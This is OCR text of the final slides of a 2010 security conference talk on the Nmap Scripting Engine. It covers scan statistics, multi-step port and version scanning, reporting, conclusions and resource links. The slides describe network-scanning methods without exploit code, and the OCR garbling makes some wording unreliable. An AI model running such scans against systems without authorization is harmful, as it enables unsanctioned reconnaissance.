ersion Info Script
o Statistical analysis Exploit Script
; . Professional Output
: Compar|50n Of' Database Processing
o services, hosts, zones oReporting
Conclusion

o products, vendors, releases

o projects, customers, industries

o owners, administrators, maintainers
Trend + performance analysis

o

L) Hashdays 2010 41
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Reporting 5/5: Performance Optimization ;ntr_gf_i;“;:g_ne
- Our record of large-scale assessments: s
Version Info Script
° 3.212 Hosts Exploit Script
o 10.278 Ports [=3.1 @ Port/Host] Professional Output
. . Database Processing

o 27.751 Secissues [=2.7 @ Secissue/Port] JReporting

o Multi-step scanning: Conclusion

o (1) Ping sweep (arp, icmp, tcp, udp)
o (2) Syn scan only (no udp scans, please!)
o (3) Version detection & script scan
o (4) Improve scripts = goto (3)
o Derivative results:
o No further tests if version detection is accurate
o Pre-serve results from prior script runs

L) Hashdays 2010 42



B

-

INFO@SCIP.CH

SECURITY + CONSULTING - INFORMATION - PROCESS TN )SCI P(

BADENERSTRASSE 551 | 8048 ZORICH

Conclusion 1/2: Summary Introduction

Scripting Engine
Portscan Script
Version Info Script

o NSE stands for Nmap Scripting Engine

o NSE is using Lua to provide modular scripts Exploit Script

. Professional Output
o NSE allows further data processing Detabase Processing
o NSE allows additional request attempts Xeporiie

Conclusion

o Qutput as XML allows further data processing

o Qutput wrapper prepares data for processing

- Database allows handling of large data sets

o Database exports are possible (e.g. Excel, PDF)
o Multi-stepping improve flexibility

o Derivative plugins improve performance
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Conclusion 2/2: One more Thing ...

o Why do we choose Nmap:

o Great project from clever people (Thank you!)
o Very stable releases

- Frequent development progress

- What we will release after this talk:
o These slides ;)
o scip Top 10 Vulnerabilities NSE Scripts
o Basic Ruby parser xml2csv

o Visit http://www.scip.ch/?labs
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Resso urces Introduction
Scripting Engine
Portscan Script
’ General Version Info Script
o http://nmap.org/book/nse.html Exploit Script
. Professional Output
o http://nmap.org/nsedoc/ SEElese [FreERse
o http://www.scip.ch/?labs.20100507 evorting
onclusion
o Scripts ° J
o http://www.computec.ch/projekte/httprecon/?s
=download

o http://www.scip.ch/?labs.20100603
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Security is our Business!

scip AG
Badenerstrasse 551
8048 Zurich

Tel +41 44 404 13 13

Fax +41 44 404 13 14
Mail info@scip.ch I P
Webhttp://www.scip.ch

Twitter
http://twitter.com/scipag

[1 Strategy | Consulting
[1 Auditing | Testing

[1 Forensics | Analysis
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